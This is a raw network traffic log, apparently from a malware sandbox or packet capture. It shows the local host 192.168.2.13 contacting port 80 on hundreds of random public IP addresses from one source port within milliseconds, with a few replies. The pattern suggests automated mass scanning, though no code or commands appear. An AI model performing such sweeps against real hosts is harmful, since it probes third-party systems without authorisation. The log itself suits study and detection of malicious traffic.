Jan 30, 2025 10:42:58.113508940 CET	38885	80	192.168.2.13	161.250.104.185
Jan 30, 2025 10:42:58.113514900 CET	38885	80	192.168.2.13	205.159.25.41
Jan 30, 2025 10:42:58.113522053 CET	38885	80	192.168.2.13	53.135.77.209
Jan 30, 2025 10:42:58.113534927 CET	38885	80	192.168.2.13	27.125.73.226
Jan 30, 2025 10:42:58.113569021 CET	38885	80	192.168.2.13	192.220.153.120
Jan 30, 2025 10:42:58.113583088 CET	38885	80	192.168.2.13	57.51.123.107
Jan 30, 2025 10:42:58.113584042 CET	38885	80	192.168.2.13	119.44.88.156
Jan 30, 2025 10:42:58.113586903 CET	38885	80	192.168.2.13	151.186.81.38
Jan 30, 2025 10:42:58.113588095 CET	38885	80	192.168.2.13	20.76.200.177
Jan 30, 2025 10:42:58.113594055 CET	38885	80	192.168.2.13	204.114.45.203
Jan 30, 2025 10:42:58.113600016 CET	38885	80	192.168.2.13	52.100.104.91
Jan 30, 2025 10:42:58.113603115 CET	38885	80	192.168.2.13	151.177.64.144
Jan 30, 2025 10:42:58.113605022 CET	38885	80	192.168.2.13	13.158.192.185
Jan 30, 2025 10:42:58.113610029 CET	38885	80	192.168.2.13	67.14.228.78
Jan 30, 2025 10:42:58.113626003 CET	38885	80	192.168.2.13	116.250.119.199
Jan 30, 2025 10:42:58.113626957 CET	38885	80	192.168.2.13	9.152.149.102
Jan 30, 2025 10:42:58.113626003 CET	38885	80	192.168.2.13	82.141.104.81
Jan 30, 2025 10:42:58.113626003 CET	38885	80	192.168.2.13	62.230.26.70
Jan 30, 2025 10:42:58.113626003 CET	38885	80	192.168.2.13	63.89.66.236
Jan 30, 2025 10:42:58.113651037 CET	38885	80	192.168.2.13	198.161.133.137
Jan 30, 2025 10:42:58.113666058 CET	38885	80	192.168.2.13	64.107.128.250
Jan 30, 2025 10:42:58.113677979 CET	38885	80	192.168.2.13	205.155.28.147
Jan 30, 2025 10:42:58.113677979 CET	38885	80	192.168.2.13	46.205.239.153
Jan 30, 2025 10:42:58.113687038 CET	38885	80	192.168.2.13	76.82.182.70
Jan 30, 2025 10:42:58.113693953 CET	38885	80	192.168.2.13	202.64.68.246
Jan 30, 2025 10:42:58.113702059 CET	38885	80	192.168.2.13	63.84.132.69
Jan 30, 2025 10:42:58.113704920 CET	38885	80	192.168.2.13	157.243.215.139
Jan 30, 2025 10:42:58.113722086 CET	38885	80	192.168.2.13	74.169.236.49
Jan 30, 2025 10:42:58.113732100 CET	38885	80	192.168.2.13	152.165.43.153
Jan 30, 2025 10:42:58.113734961 CET	38885	80	192.168.2.13	4.184.27.87
Jan 30, 2025 10:42:58.113739967 CET	38885	80	192.168.2.13	108.203.102.234
Jan 30, 2025 10:42:58.113746881 CET	38885	80	192.168.2.13	58.15.98.44
Jan 30, 2025 10:42:58.113760948 CET	38885	80	192.168.2.13	166.166.79.44
Jan 30, 2025 10:42:58.113785028 CET	38885	80	192.168.2.13	143.252.240.114
Jan 30, 2025 10:42:58.113790035 CET	38885	80	192.168.2.13	175.237.212.104
Jan 30, 2025 10:42:58.113790035 CET	38885	80	192.168.2.13	183.226.65.64
Jan 30, 2025 10:42:58.113792896 CET	38885	80	192.168.2.13	66.61.164.183
Jan 30, 2025 10:42:58.113790035 CET	38885	80	192.168.2.13	134.215.19.57
Jan 30, 2025 10:42:58.113794088 CET	38885	80	192.168.2.13	175.70.250.182
Jan 30, 2025 10:42:58.113795042 CET	38885	80	192.168.2.13	46.42.247.212
Jan 30, 2025 10:42:58.113796949 CET	38885	80	192.168.2.13	204.108.248.185
Jan 30, 2025 10:42:58.113806009 CET	38885	80	192.168.2.13	161.193.3.71
Jan 30, 2025 10:42:58.113806009 CET	38885	80	192.168.2.13	202.61.99.119
Jan 30, 2025 10:42:58.113806963 CET	38885	80	192.168.2.13	109.119.116.146
Jan 30, 2025 10:42:58.113812923 CET	38885	80	192.168.2.13	175.231.195.201
Jan 30, 2025 10:42:58.113815069 CET	38885	80	192.168.2.13	116.20.216.85
Jan 30, 2025 10:42:58.113815069 CET	38885	80	192.168.2.13	91.58.94.100
Jan 30, 2025 10:42:58.113816023 CET	38885	80	192.168.2.13	145.90.15.173
Jan 30, 2025 10:42:58.113816023 CET	38885	80	192.168.2.13	83.250.218.46
Jan 30, 2025 10:42:58.113826990 CET	38885	80	192.168.2.13	193.92.48.233
Jan 30, 2025 10:42:58.113827944 CET	38885	80	192.168.2.13	133.82.178.10
Jan 30, 2025 10:42:58.113831997 CET	38885	80	192.168.2.13	65.71.195.152
Jan 30, 2025 10:42:58.113846064 CET	38885	80	192.168.2.13	66.208.141.198
Jan 30, 2025 10:42:58.113853931 CET	38885	80	192.168.2.13	103.72.190.172
Jan 30, 2025 10:42:58.113874912 CET	38885	80	192.168.2.13	165.157.242.131
Jan 30, 2025 10:42:58.113876104 CET	38885	80	192.168.2.13	73.160.135.116
Jan 30, 2025 10:42:58.113884926 CET	38885	80	192.168.2.13	47.58.239.244
Jan 30, 2025 10:42:58.113886118 CET	38885	80	192.168.2.13	191.70.61.43
Jan 30, 2025 10:42:58.113886118 CET	38885	80	192.168.2.13	79.95.47.220
Jan 30, 2025 10:42:58.113889933 CET	38885	80	192.168.2.13	88.116.148.47
Jan 30, 2025 10:42:58.113893986 CET	38885	80	192.168.2.13	133.119.239.213
Jan 30, 2025 10:42:58.113898039 CET	38885	80	192.168.2.13	164.37.38.233
Jan 30, 2025 10:42:58.113898039 CET	38885	80	192.168.2.13	223.173.141.112
Jan 30, 2025 10:42:58.113904953 CET	38885	80	192.168.2.13	69.229.23.24
Jan 30, 2025 10:42:58.113924026 CET	38885	80	192.168.2.13	71.98.117.6
Jan 30, 2025 10:42:58.113929987 CET	38885	80	192.168.2.13	92.113.30.64
Jan 30, 2025 10:42:58.113945007 CET	38885	80	192.168.2.13	50.160.143.51
Jan 30, 2025 10:42:58.113959074 CET	38885	80	192.168.2.13	108.75.53.168
Jan 30, 2025 10:42:58.113959074 CET	38885	80	192.168.2.13	151.187.90.91
Jan 30, 2025 10:42:58.113965988 CET	38885	80	192.168.2.13	160.28.27.235
Jan 30, 2025 10:42:58.113967896 CET	38885	80	192.168.2.13	137.21.117.160
Jan 30, 2025 10:42:58.113970041 CET	38885	80	192.168.2.13	144.160.186.192
Jan 30, 2025 10:42:58.113980055 CET	38885	80	192.168.2.13	209.234.122.10
Jan 30, 2025 10:42:58.113992929 CET	38885	80	192.168.2.13	105.214.124.210
Jan 30, 2025 10:42:58.113995075 CET	38885	80	192.168.2.13	84.164.13.86
Jan 30, 2025 10:42:58.113996983 CET	38885	80	192.168.2.13	83.115.40.155
Jan 30, 2025 10:42:58.114005089 CET	38885	80	192.168.2.13	185.202.128.86
Jan 30, 2025 10:42:58.114006042 CET	38885	80	192.168.2.13	42.171.244.204
Jan 30, 2025 10:42:58.114018917 CET	38885	80	192.168.2.13	69.168.226.184
Jan 30, 2025 10:42:58.114039898 CET	38885	80	192.168.2.13	4.250.65.50
Jan 30, 2025 10:42:58.114047050 CET	38885	80	192.168.2.13	201.161.169.121
Jan 30, 2025 10:42:58.114057064 CET	38885	80	192.168.2.13	152.48.141.7
Jan 30, 2025 10:42:58.114063978 CET	38885	80	192.168.2.13	106.67.150.195
Jan 30, 2025 10:42:58.114065886 CET	38885	80	192.168.2.13	82.17.1.156
Jan 30, 2025 10:42:58.114072084 CET	38885	80	192.168.2.13	42.79.186.50
Jan 30, 2025 10:42:58.114074945 CET	38885	80	192.168.2.13	107.206.181.99
Jan 30, 2025 10:42:58.114083052 CET	38885	80	192.168.2.13	168.251.148.100
Jan 30, 2025 10:42:58.114090919 CET	38885	80	192.168.2.13	219.146.108.246
Jan 30, 2025 10:42:58.114106894 CET	38885	80	192.168.2.13	218.89.226.230
Jan 30, 2025 10:42:58.114109039 CET	38885	80	192.168.2.13	138.183.207.203
Jan 30, 2025 10:42:58.114136934 CET	38885	80	192.168.2.13	14.61.216.243
Jan 30, 2025 10:42:58.114136934 CET	38885	80	192.168.2.13	51.161.166.97
Jan 30, 2025 10:42:58.114141941 CET	38885	80	192.168.2.13	112.183.166.222
Jan 30, 2025 10:42:58.114151955 CET	38885	80	192.168.2.13	123.189.27.178
Jan 30, 2025 10:42:58.114160061 CET	38885	80	192.168.2.13	148.89.21.136
Jan 30, 2025 10:42:58.114176989 CET	38885	80	192.168.2.13	204.198.84.210
Jan 30, 2025 10:42:58.114176989 CET	38885	80	192.168.2.13	191.159.9.187
Jan 30, 2025 10:42:58.114180088 CET	38885	80	192.168.2.13	183.104.248.214
Jan 30, 2025 10:42:58.114185095 CET	38885	80	192.168.2.13	101.175.98.33
Jan 30, 2025 10:42:58.114192963 CET	38885	80	192.168.2.13	17.54.89.119
Jan 30, 2025 10:42:58.114208937 CET	38885	80	192.168.2.13	150.155.106.49
Jan 30, 2025 10:42:58.114212036 CET	38885	80	192.168.2.13	50.225.90.224
Jan 30, 2025 10:42:58.114218950 CET	38885	80	192.168.2.13	221.142.170.110
Jan 30, 2025 10:42:58.114218950 CET	38885	80	192.168.2.13	139.186.117.42
Jan 30, 2025 10:42:58.114231110 CET	38885	80	192.168.2.13	204.100.230.56
Jan 30, 2025 10:42:58.114233971 CET	38885	80	192.168.2.13	179.158.221.247
Jan 30, 2025 10:42:58.114249945 CET	38885	80	192.168.2.13	85.96.20.95
Jan 30, 2025 10:42:58.114250898 CET	38885	80	192.168.2.13	208.237.195.35
Jan 30, 2025 10:42:58.114257097 CET	38885	80	192.168.2.13	168.33.147.150
Jan 30, 2025 10:42:58.114258051 CET	38885	80	192.168.2.13	93.0.138.161
Jan 30, 2025 10:42:58.114274979 CET	38885	80	192.168.2.13	192.55.226.60
Jan 30, 2025 10:42:58.114275932 CET	38885	80	192.168.2.13	134.204.217.122
Jan 30, 2025 10:42:58.114279032 CET	38885	80	192.168.2.13	193.14.184.141
Jan 30, 2025 10:42:58.114286900 CET	38885	80	192.168.2.13	123.44.252.46
Jan 30, 2025 10:42:58.114295006 CET	38885	80	192.168.2.13	121.39.57.208
Jan 30, 2025 10:42:58.114319086 CET	38885	80	192.168.2.13	159.92.178.118
Jan 30, 2025 10:42:58.114319086 CET	38885	80	192.168.2.13	45.241.242.141
Jan 30, 2025 10:42:58.114319086 CET	38885	80	192.168.2.13	48.81.172.181
Jan 30, 2025 10:42:58.114322901 CET	38885	80	192.168.2.13	104.70.44.64
Jan 30, 2025 10:42:58.114330053 CET	38885	80	192.168.2.13	147.194.45.254
Jan 30, 2025 10:42:58.114330053 CET	38885	80	192.168.2.13	61.168.170.177
Jan 30, 2025 10:42:58.114357948 CET	38885	80	192.168.2.13	193.230.206.150
Jan 30, 2025 10:42:58.114358902 CET	38885	80	192.168.2.13	45.98.186.104
Jan 30, 2025 10:42:58.114361048 CET	38885	80	192.168.2.13	88.198.247.186
Jan 30, 2025 10:42:58.114363909 CET	38885	80	192.168.2.13	106.72.131.198
Jan 30, 2025 10:42:58.114367962 CET	38885	80	192.168.2.13	84.180.105.80
Jan 30, 2025 10:42:58.114371061 CET	38885	80	192.168.2.13	83.6.96.121
Jan 30, 2025 10:42:58.114386082 CET	38885	80	192.168.2.13	96.102.254.39
Jan 30, 2025 10:42:58.114391088 CET	38885	80	192.168.2.13	91.186.196.210
Jan 30, 2025 10:42:58.114393950 CET	38885	80	192.168.2.13	18.33.202.2
Jan 30, 2025 10:42:58.114402056 CET	38885	80	192.168.2.13	31.83.254.37
Jan 30, 2025 10:42:58.114418030 CET	38885	80	192.168.2.13	47.122.175.23
Jan 30, 2025 10:42:58.114422083 CET	38885	80	192.168.2.13	111.156.140.247
Jan 30, 2025 10:42:58.114423037 CET	38885	80	192.168.2.13	190.1.82.116
Jan 30, 2025 10:42:58.114428043 CET	38885	80	192.168.2.13	175.135.203.193
Jan 30, 2025 10:42:58.114435911 CET	38885	80	192.168.2.13	203.224.90.122
Jan 30, 2025 10:42:58.114444017 CET	38885	80	192.168.2.13	216.140.122.162
Jan 30, 2025 10:42:58.114455938 CET	38885	80	192.168.2.13	162.101.234.149
Jan 30, 2025 10:42:58.114461899 CET	38885	80	192.168.2.13	125.161.12.226
Jan 30, 2025 10:42:58.114464998 CET	38885	80	192.168.2.13	72.128.224.39
Jan 30, 2025 10:42:58.114502907 CET	38885	80	192.168.2.13	169.108.190.3
Jan 30, 2025 10:42:58.114510059 CET	38885	80	192.168.2.13	147.210.231.103
Jan 30, 2025 10:42:58.114518881 CET	38885	80	192.168.2.13	187.241.3.200
Jan 30, 2025 10:42:58.114521027 CET	38885	80	192.168.2.13	117.76.243.77
Jan 30, 2025 10:42:58.114525080 CET	38885	80	192.168.2.13	88.8.127.225
Jan 30, 2025 10:42:58.114525080 CET	38885	80	192.168.2.13	44.131.199.139
Jan 30, 2025 10:42:58.114537001 CET	38885	80	192.168.2.13	13.244.148.137
Jan 30, 2025 10:42:58.114537001 CET	38885	80	192.168.2.13	50.100.190.47
Jan 30, 2025 10:42:58.114540100 CET	38885	80	192.168.2.13	147.125.249.209
Jan 30, 2025 10:42:58.114550114 CET	38885	80	192.168.2.13	99.52.121.239
Jan 30, 2025 10:42:58.114550114 CET	38885	80	192.168.2.13	203.234.183.184
Jan 30, 2025 10:42:58.114551067 CET	38885	80	192.168.2.13	208.193.22.244
Jan 30, 2025 10:42:58.114559889 CET	38885	80	192.168.2.13	146.92.34.235
Jan 30, 2025 10:42:58.114567041 CET	38885	80	192.168.2.13	53.169.177.112
Jan 30, 2025 10:42:58.114583015 CET	38885	80	192.168.2.13	195.138.29.222
Jan 30, 2025 10:42:58.114586115 CET	38885	80	192.168.2.13	102.126.246.174
Jan 30, 2025 10:42:58.114612103 CET	38885	80	192.168.2.13	82.79.76.128
Jan 30, 2025 10:42:58.114612103 CET	38885	80	192.168.2.13	84.238.167.218
Jan 30, 2025 10:42:58.114612103 CET	38885	80	192.168.2.13	220.22.31.67
Jan 30, 2025 10:42:58.114614010 CET	38885	80	192.168.2.13	25.93.7.44
Jan 30, 2025 10:42:58.114619017 CET	38885	80	192.168.2.13	36.125.164.5
Jan 30, 2025 10:42:58.114625931 CET	38885	80	192.168.2.13	8.247.132.30
Jan 30, 2025 10:42:58.114629984 CET	38885	80	192.168.2.13	159.160.1.241
Jan 30, 2025 10:42:58.114645004 CET	38885	80	192.168.2.13	34.82.179.87
Jan 30, 2025 10:42:58.114645958 CET	38885	80	192.168.2.13	2.50.161.79
Jan 30, 2025 10:42:58.114651918 CET	38885	80	192.168.2.13	90.71.237.185
Jan 30, 2025 10:42:58.114655018 CET	38885	80	192.168.2.13	109.171.198.141
Jan 30, 2025 10:42:58.114672899 CET	38885	80	192.168.2.13	201.254.245.60
Jan 30, 2025 10:42:58.114681959 CET	38885	80	192.168.2.13	126.164.142.191
Jan 30, 2025 10:42:58.114691019 CET	38885	80	192.168.2.13	92.199.45.16
Jan 30, 2025 10:42:58.114701033 CET	38885	80	192.168.2.13	175.38.215.231
Jan 30, 2025 10:42:58.114707947 CET	38885	80	192.168.2.13	122.219.230.11
Jan 30, 2025 10:42:58.114712954 CET	38885	80	192.168.2.13	105.65.90.68
Jan 30, 2025 10:42:58.114715099 CET	38885	80	192.168.2.13	97.218.84.101
Jan 30, 2025 10:42:58.114718914 CET	38885	80	192.168.2.13	180.137.53.120
Jan 30, 2025 10:42:58.114715099 CET	38885	80	192.168.2.13	220.252.50.49
Jan 30, 2025 10:42:58.114718914 CET	38885	80	192.168.2.13	62.111.61.176
Jan 30, 2025 10:42:58.114718914 CET	38885	80	192.168.2.13	160.29.53.221
Jan 30, 2025 10:42:58.114725113 CET	38885	80	192.168.2.13	41.135.152.42
Jan 30, 2025 10:42:58.114727974 CET	38885	80	192.168.2.13	58.125.235.156
Jan 30, 2025 10:42:58.114737034 CET	38885	80	192.168.2.13	141.218.255.48
Jan 30, 2025 10:42:58.114749908 CET	38885	80	192.168.2.13	1.133.178.149
Jan 30, 2025 10:42:58.114764929 CET	38885	80	192.168.2.13	175.232.38.127
Jan 30, 2025 10:42:58.114770889 CET	38885	80	192.168.2.13	161.185.179.157
Jan 30, 2025 10:42:58.114773989 CET	38885	80	192.168.2.13	182.157.193.0
Jan 30, 2025 10:42:58.114792109 CET	38885	80	192.168.2.13	2.57.224.145
Jan 30, 2025 10:42:58.114818096 CET	38885	80	192.168.2.13	100.213.130.72
Jan 30, 2025 10:42:58.114830017 CET	38885	80	192.168.2.13	66.118.254.95
Jan 30, 2025 10:42:58.114835978 CET	38885	80	192.168.2.13	37.210.136.85
Jan 30, 2025 10:42:58.114840984 CET	38885	80	192.168.2.13	185.233.168.132
Jan 30, 2025 10:42:58.114844084 CET	38885	80	192.168.2.13	121.141.165.180
Jan 30, 2025 10:42:58.114857912 CET	38885	80	192.168.2.13	75.110.9.9
Jan 30, 2025 10:42:58.114861965 CET	38885	80	192.168.2.13	2.186.137.198
Jan 30, 2025 10:42:58.114876986 CET	38885	80	192.168.2.13	147.69.113.226
Jan 30, 2025 10:42:58.114893913 CET	38885	80	192.168.2.13	42.156.114.35
Jan 30, 2025 10:42:58.114901066 CET	38885	80	192.168.2.13	116.61.91.146
Jan 30, 2025 10:42:58.114901066 CET	38885	80	192.168.2.13	185.135.104.196
Jan 30, 2025 10:42:58.114903927 CET	38885	80	192.168.2.13	44.78.137.72
Jan 30, 2025 10:42:58.114927053 CET	38885	80	192.168.2.13	32.53.175.115
Jan 30, 2025 10:42:58.114943027 CET	38885	80	192.168.2.13	67.197.247.78
Jan 30, 2025 10:42:58.114943027 CET	38885	80	192.168.2.13	103.181.213.81
Jan 30, 2025 10:42:58.114943027 CET	38885	80	192.168.2.13	82.254.217.159
Jan 30, 2025 10:42:58.114950895 CET	38885	80	192.168.2.13	98.102.15.3
Jan 30, 2025 10:42:58.114952087 CET	38885	80	192.168.2.13	81.139.11.186
Jan 30, 2025 10:42:58.114976883 CET	38885	80	192.168.2.13	5.237.40.84
Jan 30, 2025 10:42:58.114984989 CET	38885	80	192.168.2.13	58.13.88.65
Jan 30, 2025 10:42:58.114989042 CET	38885	80	192.168.2.13	209.45.163.222
Jan 30, 2025 10:42:58.114994049 CET	38885	80	192.168.2.13	46.29.134.135
Jan 30, 2025 10:42:58.114996910 CET	38885	80	192.168.2.13	109.89.169.71
Jan 30, 2025 10:42:58.115000010 CET	38885	80	192.168.2.13	85.214.10.245
Jan 30, 2025 10:42:58.115008116 CET	38885	80	192.168.2.13	185.208.118.227
Jan 30, 2025 10:42:58.115017891 CET	38885	80	192.168.2.13	222.119.138.44
Jan 30, 2025 10:42:58.115025043 CET	38885	80	192.168.2.13	203.219.63.24
Jan 30, 2025 10:42:58.115026951 CET	38885	80	192.168.2.13	129.229.64.173
Jan 30, 2025 10:42:58.115044117 CET	38885	80	192.168.2.13	201.140.238.14
Jan 30, 2025 10:42:58.115044117 CET	38885	80	192.168.2.13	184.159.165.144
Jan 30, 2025 10:42:58.115051985 CET	38885	80	192.168.2.13	115.131.39.136
Jan 30, 2025 10:42:58.115056038 CET	38885	80	192.168.2.13	98.209.105.147
Jan 30, 2025 10:42:58.115084887 CET	38885	80	192.168.2.13	36.58.182.58
Jan 30, 2025 10:42:58.115094900 CET	38885	80	192.168.2.13	59.253.160.203
Jan 30, 2025 10:42:58.115094900 CET	38885	80	192.168.2.13	222.140.152.153
Jan 30, 2025 10:42:58.115106106 CET	38885	80	192.168.2.13	125.28.205.250
Jan 30, 2025 10:42:58.115106106 CET	38885	80	192.168.2.13	89.226.50.18
Jan 30, 2025 10:42:58.115118027 CET	38885	80	192.168.2.13	101.11.27.49
Jan 30, 2025 10:42:58.115119934 CET	38885	80	192.168.2.13	146.212.110.2
Jan 30, 2025 10:42:58.115158081 CET	38885	80	192.168.2.13	94.110.175.109
Jan 30, 2025 10:42:58.115164042 CET	38885	80	192.168.2.13	40.110.248.240
Jan 30, 2025 10:42:58.115164042 CET	38885	80	192.168.2.13	109.92.11.173
Jan 30, 2025 10:42:58.115180969 CET	38885	80	192.168.2.13	142.148.95.8
Jan 30, 2025 10:42:58.115195036 CET	38885	80	192.168.2.13	133.178.34.162
Jan 30, 2025 10:42:58.115196943 CET	38885	80	192.168.2.13	25.138.101.171
Jan 30, 2025 10:42:58.115202904 CET	38885	80	192.168.2.13	197.121.125.68
Jan 30, 2025 10:42:58.115202904 CET	38885	80	192.168.2.13	190.66.75.39
Jan 30, 2025 10:42:58.115216970 CET	38885	80	192.168.2.13	148.10.64.209
Jan 30, 2025 10:42:58.115232944 CET	38885	80	192.168.2.13	210.224.57.167
Jan 30, 2025 10:42:58.115242004 CET	38885	80	192.168.2.13	200.172.4.51
Jan 30, 2025 10:42:58.115245104 CET	38885	80	192.168.2.13	12.68.186.207
Jan 30, 2025 10:42:58.115247011 CET	38885	80	192.168.2.13	204.194.202.47
Jan 30, 2025 10:42:58.115252972 CET	38885	80	192.168.2.13	203.245.149.253
Jan 30, 2025 10:42:58.115257978 CET	38885	80	192.168.2.13	97.109.15.111
Jan 30, 2025 10:42:58.115257978 CET	38885	80	192.168.2.13	194.224.180.197
Jan 30, 2025 10:42:58.115295887 CET	38885	80	192.168.2.13	172.193.27.79
Jan 30, 2025 10:42:58.115294933 CET	38885	80	192.168.2.13	47.171.173.111
Jan 30, 2025 10:42:58.115295887 CET	38885	80	192.168.2.13	110.230.102.35
Jan 30, 2025 10:42:58.115294933 CET	38885	80	192.168.2.13	80.99.159.61
Jan 30, 2025 10:42:58.115305901 CET	38885	80	192.168.2.13	125.170.89.143
Jan 30, 2025 10:42:58.115305901 CET	38885	80	192.168.2.13	195.154.168.163
Jan 30, 2025 10:42:58.115319014 CET	38885	80	192.168.2.13	194.19.21.28
Jan 30, 2025 10:42:58.115322113 CET	38885	80	192.168.2.13	193.102.82.230
Jan 30, 2025 10:42:58.115333080 CET	38885	80	192.168.2.13	178.254.208.155
Jan 30, 2025 10:42:58.115335941 CET	38885	80	192.168.2.13	148.158.136.239
Jan 30, 2025 10:42:58.115348101 CET	38885	80	192.168.2.13	210.112.54.224
Jan 30, 2025 10:42:58.115364075 CET	38885	80	192.168.2.13	85.69.46.29
Jan 30, 2025 10:42:58.115375042 CET	38885	80	192.168.2.13	211.162.205.96
Jan 30, 2025 10:42:58.115379095 CET	38885	80	192.168.2.13	38.64.184.8
Jan 30, 2025 10:42:58.115379095 CET	38885	80	192.168.2.13	155.37.168.113
Jan 30, 2025 10:42:58.115384102 CET	38885	80	192.168.2.13	117.99.238.178
Jan 30, 2025 10:42:58.115385056 CET	38885	80	192.168.2.13	96.105.58.33
Jan 30, 2025 10:42:58.115391016 CET	38885	80	192.168.2.13	187.146.176.56
Jan 30, 2025 10:42:58.115391016 CET	38885	80	192.168.2.13	210.237.160.240
Jan 30, 2025 10:42:58.115395069 CET	38885	80	192.168.2.13	118.189.198.28
Jan 30, 2025 10:42:58.115407944 CET	38885	80	192.168.2.13	144.187.51.147
Jan 30, 2025 10:42:58.115408897 CET	38885	80	192.168.2.13	117.128.72.161
Jan 30, 2025 10:42:58.115422964 CET	38885	80	192.168.2.13	78.119.73.195
Jan 30, 2025 10:42:58.115432978 CET	38885	80	192.168.2.13	136.239.42.8
Jan 30, 2025 10:42:58.115433931 CET	38885	80	192.168.2.13	203.187.29.85
Jan 30, 2025 10:42:58.115436077 CET	38885	80	192.168.2.13	47.152.53.8
Jan 30, 2025 10:42:58.115464926 CET	38885	80	192.168.2.13	144.60.59.95
Jan 30, 2025 10:42:58.115467072 CET	38885	80	192.168.2.13	48.208.144.62
Jan 30, 2025 10:42:58.115468025 CET	38885	80	192.168.2.13	133.51.8.10
Jan 30, 2025 10:42:58.115468979 CET	38885	80	192.168.2.13	46.217.173.71
Jan 30, 2025 10:42:58.115472078 CET	38885	80	192.168.2.13	49.243.64.46
Jan 30, 2025 10:42:58.115478992 CET	38885	80	192.168.2.13	149.220.156.205
Jan 30, 2025 10:42:58.115485907 CET	38885	80	192.168.2.13	65.18.111.25
Jan 30, 2025 10:42:58.115487099 CET	38885	80	192.168.2.13	100.234.182.200
Jan 30, 2025 10:42:58.115494967 CET	38885	80	192.168.2.13	202.41.79.181
Jan 30, 2025 10:42:58.115498066 CET	38885	80	192.168.2.13	172.159.166.88
Jan 30, 2025 10:42:58.115498066 CET	38885	80	192.168.2.13	153.176.133.174
Jan 30, 2025 10:42:58.115498066 CET	38885	80	192.168.2.13	32.153.92.166
Jan 30, 2025 10:42:58.115510941 CET	38885	80	192.168.2.13	97.236.249.234
Jan 30, 2025 10:42:58.115513086 CET	38885	80	192.168.2.13	150.242.26.141
Jan 30, 2025 10:42:58.115546942 CET	38885	80	192.168.2.13	47.78.63.92
Jan 30, 2025 10:42:58.118201017 CET	80	38885	191.252.94.92	192.168.2.13
Jan 30, 2025 10:42:58.118247032 CET	38885	80	192.168.2.13	191.252.94.92
Jan 30, 2025 10:42:58.118264914 CET	80	38885	116.34.227.92	192.168.2.13
Jan 30, 2025 10:42:58.118274927 CET	80	38885	209.77.2.157	192.168.2.13
Jan 30, 2025 10:42:58.118283033 CET	80	38885	117.176.214.115	192.168.2.13
Jan 30, 2025 10:42:58.118292093 CET	80	38885	74.228.168.93	192.168.2.13
Jan 30, 2025 10:42:58.118299961 CET	80	38885	118.40.123.22	192.168.2.13
Jan 30, 2025 10:42:58.118307114 CET	38885	80	192.168.2.13	116.34.227.92
Jan 30, 2025 10:42:58.118307114 CET	38885	80	192.168.2.13	209.77.2.157
Jan 30, 2025 10:42:58.118309021 CET	80	38885	201.240.60.239	192.168.2.13
Jan 30, 2025 10:42:58.118316889 CET	38885	80	192.168.2.13	117.176.214.115
Jan 30, 2025 10:42:58.118326902 CET	38885	80	192.168.2.13	74.228.168.93
Jan 30, 2025 10:42:58.118334055 CET	38885	80	192.168.2.13	118.40.123.22
Jan 30, 2025 10:42:58.118344069 CET	38885	80	192.168.2.13	201.240.60.239
Jan 30, 2025 10:42:58.118848085 CET	80	38885	79.15.202.40	192.168.2.13
Jan 30, 2025 10:42:58.118859053 CET	80	38885	39.162.215.37	192.168.2.13
Jan 30, 2025 10:42:58.118868113 CET	80	38885	24.92.71.116	192.168.2.13
Jan 30, 2025 10:42:58.118876934 CET	80	38885	140.207.66.27	192.168.2.13
Jan 30, 2025 10:42:58.118885040 CET	80	38885	110.189.31.240	192.168.2.13
Jan 30, 2025 10:42:58.118890047 CET	38885	80	192.168.2.13	79.15.202.40
Jan 30, 2025 10:42:58.118895054 CET	80	38885	142.153.17.34	192.168.2.13
Jan 30, 2025 10:42:58.118896008 CET	38885	80	192.168.2.13	39.162.215.37
Jan 30, 2025 10:42:58.118899107 CET	38885	80	192.168.2.13	140.207.66.27
Jan 30, 2025 10:42:58.118905067 CET	80	38885	37.15.41.187	192.168.2.13
Jan 30, 2025 10:42:58.118913889 CET	80	38885	151.141.250.48	192.168.2.13
Jan 30, 2025 10:42:58.118916988 CET	38885	80	192.168.2.13	110.189.31.240
Jan 30, 2025 10:42:58.118920088 CET	38885	80	192.168.2.13	142.153.17.34
Jan 30, 2025 10:42:58.118921041 CET	38885	80	192.168.2.13	24.92.71.116
Jan 30, 2025 10:42:58.118923903 CET	80	38885	47.210.173.27	192.168.2.13
Jan 30, 2025 10:42:58.118931055 CET	38885	80	192.168.2.13	37.15.41.187
Jan 30, 2025 10:42:58.118940115 CET	80	38885	158.127.154.218	192.168.2.13
Jan 30, 2025 10:42:58.118946075 CET	38885	80	192.168.2.13	151.141.250.48
Jan 30, 2025 10:42:58.118947983 CET	38885	80	192.168.2.13	47.210.173.27
Jan 30, 2025 10:42:58.118951082 CET	80	38885	87.193.63.174	192.168.2.13
Jan 30, 2025 10:42:58.118959904 CET	80	38885	133.189.70.235	192.168.2.13
Jan 30, 2025 10:42:58.118968964 CET	80	38885	69.237.129.50	192.168.2.13
Jan 30, 2025 10:42:58.118979931 CET	38885	80	192.168.2.13	87.193.63.174
Jan 30, 2025 10:42:58.118980885 CET	80	38885	91.139.116.6	192.168.2.13
Jan 30, 2025 10:42:58.118987083 CET	38885	80	192.168.2.13	133.189.70.235
Jan 30, 2025 10:42:58.118987083 CET	38885	80	192.168.2.13	158.127.154.218
Jan 30, 2025 10:42:58.118995905 CET	38885	80	192.168.2.13	69.237.129.50
Jan 30, 2025 10:42:58.119004011 CET	80	38885	111.239.161.67	192.168.2.13
Jan 30, 2025 10:42:58.119014025 CET	80	38885	179.164.175.64	192.168.2.13
Jan 30, 2025 10:42:58.119015932 CET	38885	80	192.168.2.13	91.139.116.6
Jan 30, 2025 10:42:58.119023085 CET	80	38885	156.104.231.189	192.168.2.13
Jan 30, 2025 10:42:58.119029999 CET	38885	80	192.168.2.13	111.239.161.67
Jan 30, 2025 10:42:58.119038105 CET	80	38885	189.109.99.160	192.168.2.13
Jan 30, 2025 10:42:58.119045973 CET	80	38885	114.96.96.32	192.168.2.13
Jan 30, 2025 10:42:58.119055986 CET	80	38885	135.42.237.95	192.168.2.13
Jan 30, 2025 10:42:58.119055986 CET	38885	80	192.168.2.13	179.164.175.64
Jan 30, 2025 10:42:58.119055986 CET	38885	80	192.168.2.13	156.104.231.189
Jan 30, 2025 10:42:58.119071007 CET	38885	80	192.168.2.13	189.109.99.160
Jan 30, 2025 10:42:58.119080067 CET	38885	80	192.168.2.13	114.96.96.32
Jan 30, 2025 10:42:58.119086027 CET	38885	80	192.168.2.13	135.42.237.95
Jan 30, 2025 10:42:58.119087934 CET	80	38885	2.63.153.240	192.168.2.13
Jan 30, 2025 10:42:58.119107008 CET	80	38885	140.60.134.231	192.168.2.13
Jan 30, 2025 10:42:58.119117022 CET	80	38885	154.68.83.93	192.168.2.13
Jan 30, 2025 10:42:58.119122028 CET	38885	80	192.168.2.13	2.63.153.240
